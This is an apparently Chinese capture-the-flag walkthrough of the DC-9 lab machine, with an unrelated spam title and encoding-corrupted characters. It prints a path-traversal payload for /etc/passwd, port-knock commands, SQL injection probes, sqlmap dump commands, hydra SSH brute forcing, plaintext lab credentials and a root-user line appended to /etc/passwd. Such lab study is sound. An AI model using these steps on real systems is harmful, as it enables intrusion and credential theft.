游戲網(wǎng)站怎么做推廣成人大學報名官網(wǎng)入口
信息收集
sudo arp-scan -l 列出局域網(wǎng)主機
arp-scan向局域網(wǎng)中所有可能的ip地址發(fā)出arp請求包,如果得到arp回應,就證明局域網(wǎng)中某臺主機使用了該ip
dc9的ip : 192.168.146.133?
訪問網(wǎng)頁 cms為Debian
端口掃描
22端口是filtered
隱藏目錄掃描
dirb http:// -X.php
訪問logout.php 或者session.php 都會提示已經以admin身份登錄
下面還有一句File does not exist??
沒法點擊添加記錄,我猜應該是像flask那樣用了session?
但是有文件包含漏洞
把可重復使用的函數(shù)寫到單個文件中,在使用某些函數(shù)時,直接調用此文件
程序開發(fā)人員一般希望代碼更靈活,將被包含的文件設置為變量,用來進行動態(tài)調用
文件包含漏洞:用戶對這個變量可控而且服務端又沒有做合理的校檢或者校檢被繞過
現(xiàn)在要找到這個變量 ?把變量值設為敏感文件路徑或者包含函數(shù)的文件(這個需要上傳)
變量通常為file?
就是把函數(shù)寫進文件里方便調用,設置變量,
?file=../../../../etc/passwd
ssh是被filtered,需要繞過防火墻進行探測
Debian的配置文件是?/etc/network/interfaces 剛好搜到了網(wǎng)絡配置文件
翻譯
環(huán)回接口,是虛擬的網(wǎng)絡接口,不與任何物理硬件設備關聯(lián),ip地址為127.0.0.1 或::1 可以用來測試
主網(wǎng)絡接口,連接到物理網(wǎng)絡硬件,如以太網(wǎng)接口,無線網(wǎng)卡的接口,有1個或多個ip地址
沒有查看到 etc/network/interfaces.d內容
看到了knockd敲門服務
其中的/etc/knockd.conf里的配置會導致ssh連接被拒絕,它通過動態(tài)的添加iptables規(guī)則來隱藏系統(tǒng)開啟的服務
獲得ssh開門密碼 7649 8475 9842
使用自定義的一系列序列號來“敲門”,使系統(tǒng)開啟需要訪問的服務端口,才能對外訪問
nmap -p 7469 196.168.146.133 通過nmap發(fā)送ARP包完成敲門服務
8475? 9842?
或者nc??
for x in 7469 8475 9842 22 ;do nc 192.168.146.133?$x;done
或者安裝apt install knockd
執(zhí)行sudo knockd 192.168.146.133 7469 8475 9842
然后nmap 看一下22端口是否打開
然后就可以ssh登錄了,但是沒有用戶名和密碼,那就暴力破解
剛剛的/etc/passwd有用戶名,寫入用戶名字典?
密碼的話,要么用通用字典,但我參考其他人的博客,數(shù)據(jù)庫的一張表里有
sql注入
sql注入是:因為前端輸入控制不嚴格造成的漏洞,使得攻擊者可以輸入對后端數(shù)據(jù)庫有危害的字符串或符號,使得后端數(shù)據(jù)庫產生回顯或執(zhí)行命令
從注入?yún)?shù)類型分:數(shù)字型注入、字符型注入
從注入效果分:報錯注入、無顯盲注(布爾盲注、延時盲注)、聯(lián)合注入、堆疊注入、寬字節(jié)注入、二次注入
從提交方式分:GET注入、POST注入、HTTP頭注入(UA注入、XFF注入)、COOKIE注入
注入的常見位置:
URL參數(shù)
表單輸入:應用程序中的表單輸入框,如用戶名、密碼、搜索框等
Cookie:應用程序使用 Cookie 來存儲用戶信息或會話狀態(tài),攻擊者可以修改 Cookie 中的值來進行?注入
HTTP頭部
數(shù)據(jù)庫查詢語句:在應用程序中直接拼接 SQL 查詢語句
盲注并不會返回錯誤信息,使得sql注入的難度提高
報錯型注入則是利用了MySQL的第8652號bug :Bug #8652 group by part of rand() returns duplicate key error來進行的盲注,使得MySQL由于函數(shù)的特性返回錯誤信息,進而我們可以顯示我們想要的信息
有1個搜索框 可以輸入“姓”或者“名” 搜多 Display Allm Records中的記錄
但是url中沒有參數(shù),推測表單提交方式是post ,也可以抓包,看到數(shù)據(jù)在消息體里
一個登錄框 可以編輯這些記錄
對搜索框和登陸界面測試是否存在sql注入,是在輸入框輸入,并非url ,因為這兩url都沒有參數(shù)
輸入sql注入語句
1' and 1=1#
1' and 1=2#
都不會報錯
# 是注釋符號,后面的部分都是注釋
'? 單引號用于表示字符串的開始和結束
單引號閉合 ,假設sql查詢中,某個字段是由單引號'括起來的,通過一個額外的單引號閉合這個字段, 然后可以插入攻擊者自己的sql命令
比如
SELECT?*?FROM?users?WHERE?id?=?'[user?input]'
然后用戶輸入1' and 1=1#
SELECT?*?FROM?users?WHERE?id?=?'1'?AND?1=1#'
1=1總是為真,不會改變原有查詢結果
1=2總是為假,如果返回不同的結果,比如錯誤,那么就有sql注入漏洞
并不代表著不存在sql注入漏洞,可能是web服務器屏蔽了回顯報錯信,這個時候我們就無法判斷閉合形式是否為單引號等,只能盲猜一手,而且因為不能報錯,也就無法使用order by去判斷查詢字段長度,但還可以使用union select來判斷
union是聯(lián)合查詢,合并兩個或多個select語句的結果集,每個select必須選擇相同數(shù)量的列,列必須擁有相似的數(shù)據(jù)類型(就是數(shù)據(jù)類型可以轉化,比如數(shù)字字符串和數(shù)字)
比如兩張表
執(zhí)行union
select 1會原封不動的回顯出來,字段名為1,數(shù)據(jù)為1
首先盲猜為單引號閉合:
1' union select 1#
1' union select 1,2#
1' union select 1,2,3#
1' union select 1,2,3,4#
1' union select 1,2,3,4,5#
當輸入1' union select 1,2,3,4,5,6#
sqlmap爆破
?參考利用sqlmap進行POST注入_sqlmap post-CSDN博客
用Burp抓包,然后保存抓取到的內容,右鍵 點擊 copy to files 保存為post.txt,然后把它放至某個目錄下
sqlmap -r "/home/kali/Desktop/package1" -p search?--dbs? (這個行不通)
表示加載一個文件,-p指定參數(shù) 是search
--dbs列出所有數(shù)據(jù)庫
進入web開發(fā)者模式,點擊network,然后在目標網(wǎng)頁的搜索欄中輸入1搜索,開發(fā)者工具中出現(xiàn)結果,翻閱查看信息,發(fā)現(xiàn)result.php的Request中出現(xiàn)信息
爆數(shù)據(jù)庫名,由于是POST請求發(fā)送數(shù)據(jù),所以這里指定–date參數(shù)為search
列數(shù)據(jù)庫:
sqlmap -u "http://192.168.146.133/results.php" --data "search=1" --dbs
有3個 information_schema Staff users
查看 users里面的表
sqlmap -u "http://192.168.146.133/results.php" --data "search=1" -D users?--tables
這個不知道為啥沒結果,別的博客也是一樣的命令都有結果
然后我就直接參考其他人的
sqlmap -u "http://192.168.146.133/results.php" --data "search=1" -D users -T UserDetails -C username,password --dump
--columns
-D [數(shù)據(jù)庫名] -T [表名] -C [列名] --dump[列出字段的值]
ssh爆破
可以復制掃描結果,讓ai整理出來,我用的智譜清言
用戶名寫入字典
密碼寫入字典
hydra -L user.txt -P passwd.txt -o ssh.txt -vV -t ip ?ssh -s 22 ??
-L 指定用戶字典文件?
-P 指定密碼字典文件 ?
-o 把成功的輸出到ssh.txt文件?
-vV 顯示詳細信息 ?
-s 指定其他端口 如果要修改默認22端口,可以使用 -s 參數(shù)
hydra -L username.txt -P pass.txt ssh://192.168.146.133
ssh登錄 ssh 用戶名@ip?
chandlerb?UrAG0D!
ssh janitor@192.168.146.133
要用ls-al查看隱藏的目錄和文件
d表示目錄 三個一組,所有者,所屬組,其他用戶
l是符號鏈接也稱軟鏈接,指向另一個文件或目錄,(類似于windows的快捷方式)
看到了secrets-for-putin 是秘密的意思,查看下
重寫一個新的newpass.txt,這樣能加快速度,再次ssh爆破
login: fredf password: B4-Tru3-001
登錄
沒看到有用信息
git提權 sudo -l
cat /opt/devstuff/dist/test/test 這個文件具有sudo權限,但是里邊內容是亂碼
查看文件的執(zhí)行權限 能讀 和執(zhí)行
執(zhí)行這個文件看一下有什么功能
查找test.py的路徑
find / -name "test.py" 2>/dev/null
查看代碼? 會把第一個文件寫到第二個文件里邊 "a" 是追加模式 如果第二個文件有內容就會把第一個文件的內容追加到末尾 可以在這個test.py里邊追加一個執(zhí)行/bin/bash的語句 執(zhí)行的時候會有一個root的shell
權限,不能修改
生成密碼
openssl passwd -1 -salt hack123456
-1 的意思是使用md5加密算法
-salt 自動插入一個隨機數(shù)作為文件內容加密
hack 123456 用戶名和密碼
查看格式 x表示有密碼
將賬戶密碼寫到/tmp/passwd
在/etc/passwd寫進具有root權限的用戶和密碼
echo 'hacker:$1$hack$.JxSX4bOP1WSqH0kCgs9Y.:0:0:/root:/bin/bash' >> /tmp/passwd
執(zhí)行test
sudo ./test /tmp/passwd /etc/passwd
用戶名是hacker 密碼是123456?因為echo寫錯了?拿到flag
?